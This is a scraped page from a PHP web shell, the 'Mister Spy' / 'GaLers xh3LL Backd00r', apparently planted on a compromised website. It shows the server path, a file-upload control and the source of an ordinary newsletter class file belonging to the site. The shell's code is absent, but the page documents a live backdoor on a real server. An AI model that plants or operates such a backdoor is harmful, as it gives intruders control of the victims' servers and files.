Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.edicion.php

<?php

require_once('class.envios.php');
require_once('class.edicionesestructuradas.php');

class Edicion
{
	public $IdEdicion;
	public $IdTipo;
	public $IdTemplate;
	public $Nombre;
	public $TextoPresentacion;
	public $Fecha;

	
	public function ParseFromArray(array $arr)
	{
		$this->IdEdicion 			= $arr['IdEdicion'];
		$this->IdTipo				= $arr['IdTipo'];
		$this->IdTemplate			= $arr['IdTemplate'];
		$this->Nombre 				= stripslashes($arr['Nombre']);
		$this->TextoPresentacion	= stripslashes($arr['TextoPresentacion']);
		$this->Fecha				= stripslashes($arr['Fecha']);
	}


	public function GetUrl()
	{
		switch ($this->IdTipo)
		{
			case EdicionTipo::Estructurado:
				$Url = Config::UrlSitioEspanol . 'newsletter/view/' . EdicionTipo::Estructurado . '/' . UrlFriendly($this->Nombre) . '_' . $this->IdEdicion;
				break;

			case EdicionTipo::Libre:
				$Url = Config::UrlSitioEspanol . 'newsletter/view/' . EdicionTipo::Libre . '/' . UrlFriendly($this->Nombre) . '_' . $this->IdEdicion;
				break;

			case EdicionTipo::Texto:
				$Url = Config::UrlSitioEspanol . 'newsletter/view/' . EdicionTipo::Texto . '/' . UrlFriendly($this->Nombre) . '_' . $this->IdEdicion;
				break;

			default:
				break;
		}

		return $Url;							
	}


	public function GetUrlContent()
	{
		switch ($this->IdTipo)
		{
			case EdicionTipo::Estructurado:
				$Url = 'edicionestructurada.php';
				break;

			case EdicionTipo::Libre:
				$Url = 'edicionlibre_content.php';
				break;

			case EdicionTipo::Texto:
				$Url = 'ediciontexto_content.php';
				break;

			default:
				break;
		}

		return $Url;							
	}


	public function GetAllEnvios()
	{
		$Envios = new Envios();

		return $Envios->GetAllByEdicion($this);
	}
	
	
	public function GetAllEdicionesEstructuradas()
	{
		$EdicionesEstructuradas = new EdicionesEstructuradas();

		return $EdicionesEstructuradas->GetAllByEdicion($this);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat